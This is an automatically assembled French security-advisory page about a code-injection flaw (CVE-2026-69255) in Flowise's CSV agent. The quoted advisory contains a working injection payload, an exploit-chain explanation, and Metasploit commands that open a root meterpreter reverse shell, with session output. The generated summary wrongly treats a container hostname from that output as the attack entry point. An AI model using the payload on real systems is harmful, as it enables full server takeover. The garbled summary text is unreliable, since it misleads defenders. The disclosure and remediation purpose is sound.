Connexion Inscription
JA · EN · FR
SecPulse
Catégories
CVE-2026-69255 high CVSS 8.8

Injection de code dans flowise (CVE-2026-69255)

Résumé

Injection de code dans flowise (CVE-2026-69255). L'exploitation peut entraîner la prise de contrôle totale du système. Exploitable via cbce3fb352b7. Atténuation : mise à jour vers 3.1.3 ou plus.

Description d'origine

La description telle que publiée par la source (souvent en anglais).

UPDATE 2026-05-20: Full RCE as root VERIFIED

This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.

Verified Exploit Chain

  1. Python code injection via base64_string = "${base64String}" (CSVAgent.ts line 161)
  2. Pyodide js bridge provides access to the host Node.js process
  3. process.mainModule.constructor._load('child_process') loads child_process (bypasses ESM require restriction)
  4. .execSync('CMD') executes arbitrary OS commands as root (PID 1 in container)

Working RCE Payload

";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");#

Constraint: No commas allowed in payload — csvFile.split(',') splits on all commas.

Metasploit Session Proof

msf > use exploit/multi/http/flowise_csv_agent_rce
msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
msf > exploit

[+] Authentication successful
[+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4
[*] Sending stage (3090404 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422)

meterpreter > getuid
Server username: root

meterpreter > sysinfo
Computer     : cbce3fb352b7
OS           : Linux 6.8.0-111-generic
Architecture : x64
Meterpreter  : x64/linux

meterpreter > shell
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

# uname -a
Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux

Addit…

Source: GitHub Security Advisories (Global) NVD GitHub Advisory

Résumé généré automatiquement

Assemblé par SecPulse à partir des données sources (CVSS, CWE, versions affectées) à l'aide de modèles, sans IA. Vérifiez la description d'origine et les références ci-dessous.

Une vulnérabilité référencée CVE-2026-69255 a été découverte dans flowise.
Des attaquants peuvent cibler un point d'entrée spécifique comme cbce3fb352b7 à distance pour détourner le produit.
L'exploitation peut entraîner la prise de contrôle totale du système. Score CVSS : 8.8/10.
Action : mettez à jour flowise vers 3.1.3 ou supérieur.
En cas de doute, contactez votre service informatique ou cherchez « flowise CVE-2026-69255 » sur le site de l'éditeur.

CVE-2026-69255 (flowise) — CWE-94 / CVSS v3 8.8
Vecteur d'attaque : distant (réseau) / sans interaction utilisateur
Surface d'attaque : cbce3fb352b7
Correctif : 3.1.3 — appliquer immédiatement
Plan : 1) Audit SBOM, 2) Mise à jour staging→prod, 3) Surveillance WAF/proxy sur les endpoints affectés, 4) Recherche d'IOC dans les logs.
Réfs : voir GHSA / avis éditeur / version corrigée liés sur cette page.

❓ Quel est le problème

Une exécution de code arbitraire (CWE-94) affecte flowise. Les attaquants atteignent le code vulnérable via cbce3fb352b7.

📍 Périmètre concerné

Consultez l'avis de l'éditeur pour les versions affectées de flowise. Surface d'attaque : cbce3fb352b7.

🔥 Gravité

Gravité : Élevée (CVSS 8.8/10). L'exploitation peut entraîner la prise de contrôle totale du système.

🔧 Comment corriger

Mettre à jour vers 3.1.3.

🛡️ Contournement

En attendant le correctif : désactivez la fonctionnalité concernée, appliquez des règles WAF, ou restreignez l'accès par ACL réseau.

🔍 Détection

Recherchez dans les logs des requêtes correspondant aux IOC connus de cette CVE. Auditez les SBOM/dépendances.

Actions de réponse

Étapes concrètes et exemples de commandes que les équipes SOC/SRE doivent exécuter dans l'ordre

  1. 1
    Identify exposure identify 
    grep -r 'flowise' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で flowise を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch 
    Upgrade flowise to 3.1.3

    ステージング環境で 3.1.3 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify 
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Paquets affectés

npm flowise
[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}]
npm flowise-components
[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}]

Références

Nous utilisons des cookies pour l'analyse d'audience et la mesure publicitaire. Ce réglage s'applique à tous les sites de Game co., Ltd. En savoir plus